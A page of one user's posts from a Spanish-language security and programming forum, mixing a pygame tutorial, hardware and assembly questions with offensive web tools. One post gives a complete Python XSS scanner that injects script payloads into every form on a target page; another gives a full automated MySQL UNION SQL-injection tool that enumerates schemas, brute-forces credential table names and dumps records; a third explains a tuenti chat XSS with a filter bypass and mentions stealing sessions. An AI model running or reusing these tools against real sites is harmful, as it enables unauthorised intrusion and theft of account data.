|
Mostrar Temas
|
Páginas: 1 [2] 3 4
|
11
|
Informática / Electrónica / [?] Diferencias entre [ COM | SERIE] y puerto paralelo
|
en: 11 Enero 2010, 21:04 pm
|
Hola, me empecé a interesar por este mundo y ya he hecho circuitos para encender leds y esas cosas básicas. He buscado en google, pero no encuentro lo que busco. Ahora lo que me gustaría es mezclarlo con software y mi primera idea después de buscar información fue usar el puerto paralelo, pero al buscar el puerto paralelo en mi máquina descubrí que no tenía. Después de buscar un poco más vi que se podía hacer por puerto serie, o com, o RS232 y mi pc si poseía uno de estos puertos. Ya sé que el número de pines es distinto, pero a la hora de programar (C) ... es igual que el puerto paralelo, osea... lo que se hace es 'accionar y desaccionar' pines que van mandando 5 v? Se hace con las mismas funciones que el puerto paralelo pero con la dirección del puerto de serie? Gracias.
|
|
|
13
|
Programación / Scripting / [Lección 2]Taller de desarrollo de videojuegos con pygame.
|
en: 3 Enero 2010, 14:26 pm
|
Debido a que he visto que en el foro hay interés por python, he decidido que voy a hacer un pequeño taller sobre la librería para desarrollo de juegos pygame. Las lecciones de este taller se irán poniendo en este mismo post para que estén todas juntas. Debo aclarar que esto no va a ser un análisis de los métodos y clases que ofrece pygame, sino una aplicación práctica de los que considero mas importantes. InstalaciónPython viene preinstalado y para instalar pygame basta con bajarse el paquete de los repositorios. # yum install pygame [...] $ sudo apt-get install pygame [...] # zypper install pygame [...]
Depende de la distribución que uséis. Python os lo podéis bajar de su web : (yo voy a usar la versión 2.6) Y para pygame os podéis bajar el instalador desde esta web : http://www.pygame.org/download.shtmlUn poco de teoríaTodos los juegos que podéis imaginar, siguen este esquema: Mientras no se termine: - Procesar entradas (que pueden ser del teclado, del ratón...)
- Actualizar gráficos (puede ser mover un marcianito, cambiar de color una roca ...)
- Actualizar sonido (puede ser un disparo, los expectadores grintando gol ...)
- Mostrar gráficos (ponerlos en la pantalla)
- Reproducir sonidos (hacer que suenen)
A cada repetición que se hace de este esquema se le llama frame. Empezando con pygamePor el momento, para importar pygame haremos esto: import pygame
Creando la ventana y mostrando la primera imagenPara crear la ventana se haría así: import pygame ventana = pygame.display.set_mode((800,400)) raw_input()
Donde 800 y 400 son el tamaño de la ventana. Si lo ejecutan verán que les aparece una ventana. También les voy a aclarar que todo lo que se puede mostrar en esa ventana son objetos Surface de la librería pygame. Para mostrar una imagen hay que hacer esto : import pygame ventana = pygame.display.set_mode((800,400)) imagen = pygame.image.load('nombredeimagen') ventana.blit(imagen,(0,0)) pygame.display.flip() raw_input()
pygame.image.load() crea una surface a partir de una imagen donde nombredeimagen es el nombre de una imagen que esté en el mismo directorio que el juego. Lo que hace el método blit es colocar la Surface que le pasemos como argumento en las coordenadas que le pasemos como segundo argumento siendo 0,0 la esquina superior izquierda. pygame.display.flip() lo que hace es mostrar los gráficos que tenga que mostrar. Aquí acaba la primera lección, mas tarde seguiré. Mover imágenes por la pantallaPara mover imágenes por la pantalla lo que hay que hacer es ir actualizando un par de variables que servirán como cordenadas del método .blit(). De esta forma : import pygame,time pantalla = pygame.display.set_mode((600,400)) # Crea la pantalla con esas dimensiones imagen = pygame.image.load('imagen.gif') # Carga la imagen while 1: for i in range(400): pantalla.blit(imagen,(i,i)) # Pone la imagen en las coordenadas que diga la variable pygame.display.flip() time.sleep(0.01) for i in range(400): pantalla.blit(imagen,(400-i,400-i)) pygame.display.flip() time.sleep(0.01)
Si prueban ese código verán que la imagen.gi (podéis cambiarle el nombre por el nombre de la imagen que usaron antes) se va moviendo en diagonal por la pantalla , pero , hay un problema y es que la imagen se va sobreponiendo sin borrar la anterior. En pygame , no se pueden borrar las imágenes que aparecen en la pantalla, pero lo que si se puede hacer es tapar lo que había antes con una imagen del tamaño de la ventana.De esta forma : import pygame,time pantalla = pygame.display.set_mode((600,400)) # Crea la pantalla con esas dimensiones imagen = pygame.image.load('imagen.gif') # Carga la imagen fondo = pygame.Surface((600,400)) # Crea una imagen (Surface) fondo.fill([255,255,255]) # La rellena de color blanco (255,255,255esla representacion de rojo,amarillo y azul de la imagen) while 1: for i in range(400): pantalla.blit(fondo,(0,0)) # Carga el fondo en la pantalla, tapando todo lo que hubiera antes pantalla.blit(imagen,(i,i)) # Pone la imagen en las coordenadas que diga la variable i tapando esa parte del fondo pygame.display.flip() time.sleep(0.01) for i in range(400): pantalla.blit(fondo,(0,0)) pantalla.blit(imagen,(400-i,400-i)) pygame.display.flip() time.sleep(0.01)
Y así se evita el problema.
|
|
|
14
|
Programación / Scripting / [ Python ] [ Pygame ] Alguien se anima a hacer un juego online?
|
en: 1 Enero 2010, 20:14 pm
|
Como he visto que hay varias personas con python dentro del foro, se me ocurrió la idea de hacer un sencillo juego online . Quien quiera participar que lo ponga aquí. Requisitos : - Entender la lógica de la programación
- Programar algo básico en python
Os aclaro, que yo ya he hecho varios juegos y que tengo la idea de como lo podríamos hacer. También decir que no va a ser nada serio que una vez que estéis dentro tengáis que seguir haciéndolo medio obligados, que se irá de forma tranquila.
|
|
|
15
|
Seguridad Informática / Nivel Web / [python] Herramienta (bastante precaria) para XSS
|
en: 7 Diciembre 2009, 17:27 pm
|
Bueno, la he hecho esta mañana, os la pongo para que los que no sepan mucho vayan aprendiendo y ya la iré mejorando. Lo que hace es que le pasas como argumento la página que quieres "XSSar" y va probando el payload que le hayas puesto en todos los inputs y te guarda los resultados. Es bastante inestable. #!/usr/bin/python import urllib2,urllib,sys,string from HTMLParser import HTMLParser class parsearhtml(HTMLParser): formactual = -1 atributosform = [] atributosinput = [] def handle_starttag(self, tag, attrs): atributosform = {} atributosinput = {} if tag=="form": for i in range(len(attrs)): atributosform[attrs[i][0]] = attrs[i][1] self.atributosform.append(atributosform) self.atributosinput.append([]) self.formactual+=1 if tag=="input": for i in range(len(attrs)): atributosinput[attrs[i][0]] = attrs[i][1] self.atributosinput[self.formactual].append(atributosinput) def obtenerhost(url): #Funcion que obtiene el host if url[0:7]=='http://': return url[0:url[7:].find('/')+7] if url[0:8]=='https://': return url[0:url[8:].find('/')+8] return url def obtenercarpeta(url): #Obtiene la carpeta en la que esta guardado el archivo... i = len(url)-1 while i!=0: if url[i]=='/': return url[:i+1] i-=1 return url def obtenerruta(action): #Funcion que obtiene la direccion a la cual mandar las variables global host,carpeta if action.find('http://')!=-1 or action.find('https://')!=-1: return action if action[0]=='/': return host+action else : return carpeta+action url = sys.argv[1] host = obtenerhost(url) carpeta = obtenercarpeta(url) #Variables de localizacion useragent = "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.5) Gecko/20091102 Firefox/3.5.5" cabeceras = { "User-Agent" : useragent } code = urllib2.urlopen(url).read() print "Codigo de la pagina obtenido ..." try : parser = parsearhtml() parser.feed(code) # Ha recogido todos los forms y los inputs except : print "Hubo un error parseando el HTML" #Ya tengo todos los datos necesarios print "Datos obtenidos ..." payloads = ['<h1>Payload</h1>','<script>alert(/HOLA/);</script>'] # Payloads de XSS atributosform = parser.atributosform atributosinput = parser.atributosinput if len(atributosform)==0: print "No se encontraron forms" for indice in range(len(atributosform)): #Se obtiene la direccion a la que mandar los datos print "Obteniendo direccion a la que mandar los datos... " if atributosform[indice].has_key('action'): urlamandar = obtenerruta(atributosform[indice]['action']) else: urlamandar = url #Se empiezan a rellenar las variables con los payloads correspondientes... maliciousdata = {} print "Rellenando con los payloads las variables ..." for varinput in atributosinput[indice]: if varinput.has_key('name'): maliciousdata[varinput['name']] = payloads[1] maliciousdata = urllib.urlencode(maliciousdata) req = urllib2.Request(urlamandar,maliciousdata,headers = cabeceras) codeinfectado = urllib2.urlopen(req).read() print "Escribiendo el archivo ",str(indice)+".html" resultado = open(str(indice)+'.html','w') resultado.write(codeinfectado)
Le podéis modificar facilmente el user-agent y el payload. Uso : python xss.py http://localhost/xss.php
|
|
|
16
|
Seguridad Informática / Nivel Web / [Tool][python] Mi herramienta para SQLi en mysql
|
en: 28 Noviembre 2009, 19:57 pm
|
Bueno , aquí les dejo una herramienta muy útil que ahorra mucho trabajo muchas veces, os dejo unas capturas. Encuentra la estructura de la bd por information_schema y si no hay brutea el nombre de las tablas y columnas. Siendo esa la web con SQLi : Si escribes : ./sqli [urlvulnerable] -c Podrás ver los registros de la tabla que tu quieras . Si haces : ./sqli [urlvulnerable] -r Te dirá todas las bases de datos ,tablas y columnas menos las del information_schema (porque son muchas y no tan necesarias). Si no pones ni -r ni -c te hará las dos. #!/usr/bin/python import urllib2,sys,string # Sql injector helper by braulio23 # Usage sql.py http://host/app?vulnparameter= # Example : sql.py http://localhost/sql.php?id= def entre(code,delimita): try : for numero in range(len(code)): if code[numero:numero+len(delimita)]==delimita: indice1=numero+len(delimita) break for numero2 in range(indice1+1,len(code)): if code[numero2:numero2+len(delimita)]==delimita: indice2 = numero2 return code[indice1+1:indice2] except : return False def codigo(url): return urllib2.urlopen(url).read() def char(cadena): cadena+="~" returned = "char(" for caracter in cadena: returned+=str(ord(caracter)) if caracter!="~": returned+="," return returned+")" def encontrar(code,cadena): longitudcode = len(code) longitudcadena = len(cadena) for indice in range(0,longitudcode-4): if code[indice:indice+longitudcadena]==cadena: return 0 def consultacorrecta(url,listadecosasaencontrar): pagina = urllib2.urlopen(url) codigo = pagina.read() for cosa in listadecosasaencontrar: if encontrar(codigo,cosa)==0: return True return False def printable(urlbase,numero,columnas): urlbase+="-1%20union%20select%20" listadecosas = [] for a in range(columnas): if a==numero: urlbase+=char('aaabaaabaaabaaabaaabaaabaabababab') listadecosas.append('aaabaaabaaabaaabaaabaaabaabababab') else : urlbase+='concat(202020,'+str((a+1)*31337)+')' if a!=columnas-1 : urlbase+=',' return consultacorrecta(urlbase+'%20--',listadecosas) def obtenerdato(urlbase,printables,columnas,variable,tabla='okokokok',limit=0): urlbase+="-1%20union%20select%20" for a in range(columnas): if a==printables: urlbase+='concat('+char('%%%%')+','+variable+','+char('%%%%')+')' else : urlbase+=str(a) if a!=columnas-1 : urlbase+="," if tabla != 'okokokok' : urlbase+='%20from%20'+tabla urlbase+='%20limit%20'+str(limit)+',1' code = codigo(urlbase+'%20--') return entre(code,'%%%%') def datosgenerales(): global columnasprintables print '[+] Version ',obtenerdato(urlvulnerable,columnasprintables[0],numero,'version()') print '[+] Usuario ',obtenerdato(urlvulnerable,columnasprintables[0],numero,'current_user()') print '[+] Base de datos ',obtenerdato(urlvulnerable,columnasprintables[0],numero,'database()') def estructuraconschema(): print "[+]Bases de datos" i=0 while obtenerdato(urlvulnerable,columnasprintables[0],numero,'schema_name','information_schema.schemata',i)!=False: database = obtenerdato(urlvulnerable,columnasprintables[0],numero,'schema_name','information_schema.schemata',limit=i) print "[-------------------->]",database j=0 while obtenerdato(urlvulnerable,columnasprintables[0],numero,'table_name','information_schema.tables%20where%20TABLE_SCHEMA='+char(database)[:len(char(database))-5]+')%20AND%20table_schema!='+char('information_schema')[:len(char('information_schema'))-5]+')',j)!=False: tabla = obtenerdato(urlvulnerable,columnasprintables[0],numero,'table_name','information_schema.tables%20where%20TABLE_SCHEMA='+char(database)[:len(char(database))-5]+')%20AND%20table_schema!='+char('information_schema')[:len(char('information_schema'))-5]+')',j) print "[------------>]",tabla k=0 while obtenerdato(urlvulnerable,columnasprintables[0],numero,'column_name','information_schema.columns%20where%20TABLE_NAME='+char(tabla)[:len(char(tabla))-5]+')',k)!=False: columna = obtenerdato(urlvulnerable,columnasprintables[0],numero,'column_name','information_schema.columns%20where%20TABLE_NAME='+char(tabla)[:len(char(tabla))-5]+')',k) print '[--->]',columna k+=1 print '\n' j+=1 i+=1 def consultas(): print "---- Consulta personalizada ----" db="" while 1: db = raw_input("(Escribe Salir para salir) Nombre de la base de datos : ") if db=="Salir" : break tabla = raw_input("Nombre de la tabla : ") columnas = raw_input("Nombres de las columnas (separadas por comas) : ") columnas = columnas.replace(',',",0x20,") for lolo in range(1000): resultado = obtenerdato(urlvulnerable,columnasprintables[0],numero,'concat('+columnas+')',db+'.'+tabla,lolo) if resultado!=False: print "Resultado :",resultado else : print "Ya no quedan mas registros " break listatablas = ['admin','tblUsers','tblAdmin','user','users','username','noticias','usernames','usuario', 'name','names','nombre','nombres','usuarios','member','members','admin_table', 'miembro','miembros','membername','admins','administrator', 'administrators','passwd','password','passwords','pass','Pass', 'tAdmin','tadmin','user_password','user_passwords','user_name','user_names', 'member_password','mods','mod','moderators','moderator','user_email', 'user_emails','user_mail','user_mails','mail','emails','email','address', 'e-mail','emailaddress','correo','correos','phpbb_users','log','logins', 'login','registers','register','usr','usrs','ps','pw','un','u_name','u_pass', 'tpassword','tPassword','u_password','nick','nicks','manager','managers','administrador', 'tUser','tUsers','administradores','clave','login_id','pwd','pas','sistema_id', 'sistema_usuario','sistema_password','contraseña','auth','key','senha', 'tb_admin','tb_administrator','tb_login','tb_logon','tb_members_tb_member', 'tb_users','tb_user','tb_sys','sys','fazerlogon','logon','fazer','authorization', 'membros','utilizadores','staff','nuke_authors','accounts','account','accnts', 'associated','accnt','customers','customer','membres','administrateur','utilisateur', 'tuser','tusers','utilisateurs','password','amministratore','god','God','authors', 'asociado','asociados','autores','membername','autor','autores','Users','Admin','Members', 'Miembros','Usuario','Usuarios','ADMIN','USERS','USER','MEMBER','MEMBERS','USUARIO','USUARIOS','MIEMBROS','MIEMBRO','news'] listacolumnas = ['admin_name','codigo','cla_adm','usu_adm','fazer','logon','fazerlogon','authorization','membros','utilizadores','sysadmin','email', 'user_name','username','name','user','user_name','user_username','uname','user_uname','usern','user_usern','un','user_un','mail', 'usrnm','user_usrnm','usr','usernm','user_usernm','nm','user_nm','login','u_name','nombre','login_id','usr','sistema_id','author', 'sistema_usuario','auth','key','membername','nme','unme','psw','password','user_password','autores','pass_hash','hash','pass','correo', 'userpass','user_pass','upw','pword','user_pword','passwd','user_passwd','passw','user_passw','pwrd','user_pwrd','pwd','authors', 'user_pwd','u_pass','clave','usuario','contraseña','pas','sistema_password','autor','upassword','web_password','web_username'] urlvulnerable = sys.argv[1] columnasprintables = [] print "-----> Cuestiones principales <-----" for numero in range(500): listadecosas=['159753159753'] urlatestear = urlvulnerable urlatestear += "-1%20union%20select%20" for columna in range(numero): urlatestear+="concat(20101010,"+str((columna+1)*31337)+")" listadecosas.append("20101010"+str((columna+1)*31337)) if columna!=numero-1: urlatestear+="," if consultacorrecta(urlatestear+"%20--",listadecosas): urlcorrecta = urlatestear print "[+] La tabla tiene ",numero,"columnas" break for a in range(numero): if printable(urlvulnerable,a,numero): columnasprintables.append(a) if len(sys.argv)<3: sys.argv.append('-rc') if sys.argv[2]=='-r' or sys.argv[2]=='-rc': print "-----> Variables generales <-----" datosgenerales() if obtenerdato(urlvulnerable,columnasprintables[0],numero,'1','information_schema.tables')!=False: print "[+] Tiene information_schema " print "---> Estructura de la base de datos <---" estructuraconschema() else : print "[-] No tiene information_schema " print "-----> Bruteando tablas <------" for tabla in listatablas: if obtenerdato(urlvulnerable,columnasprintables[0],numero,'4',tabla)!=False: print "[->] Tabla ",tabla,"encontrada" for columna in listacolumnas: if obtenerdato(urlvulnerable,columnasprintables[0],numero,columna,tabla)!=False: print "[-->] Columna ",columna,"encontrada" if sys.argv[2] == '-c' or sys.argv[2]=='-rc': consultas()
PD: el code es muy feo porque lo programé tarde por la noche. Suerte.
|
|
|
17
|
Seguridad Informática / Nivel Web / Vulnerabilidad XSS en tuenti.
|
en: 30 Octubre 2009, 17:37 pm
|
He encontrado esta vulnerabilidad en la página de tuenti y quería compartirla con ustedes. Advierto que la vulnerabilidad ya ha sido notificada a los administradores y que en breve será arreglada. Bueno, la vulnerabilidad está en el chat a la hora de poner enlaces. Si escribes en el chat ' http://hola.com', el código queda algo así : <a href="http://hola.com" title="http://hola.com" onclick="LightBox.init_with_simple_template({'lightbox_id': 'light_box', 'width': '350'}, 'js_template_external_link', {'title': 'Link externo', 'message': 'El link al que intentas acceder está fuera de Tuenti.', 'url':'http://hola.com', 'question': '¿Estás seguro de que deseas continuar?', 'close_button': 'Cerrar', 'continue_button': 'Continuar'}, {'submit_light_box': function(){window.open('http://hola.com'); LightBox.close();}}); return false;" class="externalLink">http://hola.com </a>
Fijense que en el atributo onclick aparece varias veces ' http://hola.com'.Concretamente fijense en la función window.open(), ahí puedes insertar una comilla simple y escapar de la función. Lo que se ha escrito en ese mensaje es : Y el código queda así: Ahora, ya deberíais saber como ejecutar el código javascript que quisierais : Lo que se ha escrito en ese mensaje es : Y el código queda así : Gracias a este XSS se podrían hacer multiples cosas como robar sesiones. PD:Si quieres redireccionar de la típica manera con "location=' http://google.com';" tendrías que hacerlo asi: "location='h'+'ttp://google.com';" Porque si encuentra en la cadena que mandes "http" lo interpretará como otra cadena.
|
|
|
18
|
Programación / PHP / Seguridad contra CSRF
|
en: 23 Agosto 2009, 15:30 pm
|
Sería seguro que para hacer una cosa como un cierre de sesión , el poner un comentario... pasar por get o por post el session_id() y comprobarlo en la página que hace el session_destroy() o el poner el comentario? No se si me he explicado muy bien pero bueno... Gracias
|
|
|
20
|
Programación / ASM / [?][Linux/Nasm]No funciona programa similar a cat.
|
en: 10 Agosto 2009, 14:12 pm
|
Estoy en linux, usando nasm y estoy haciendo este código. section .data: fichero: db 'programa'; Nombre que tendra el programa section .bss: texto: resb 16000 section .text: global _start _start: mov eax,5 ; sys_open() pop ebx pop ebx ; El nombre de este programa pop ebx; Primer argumento mov ecx,0 ; Para leer int 80h ; Ya está en eax mov ebx,eax; Ya no(bueno , aun si) mov eax,3 ; sys_read mov ecx,texto mov edx,16000 int 80h; ;El contenido del fichero este está en texto. ;Ahora voy a abrir otro fichero mov eax,4 mov ebx,1 mov ecx,texto mov edx,16000 int 80h mov eax,1 mov ebx,0 int 80h
Cuando lo ejecuto (le he dado todos los permisos necesarios y eso) no hace nada. Creo que lo he hecho bien, alguien sabe cuál es el problema? Gracias
|
|
|
|
|
|
|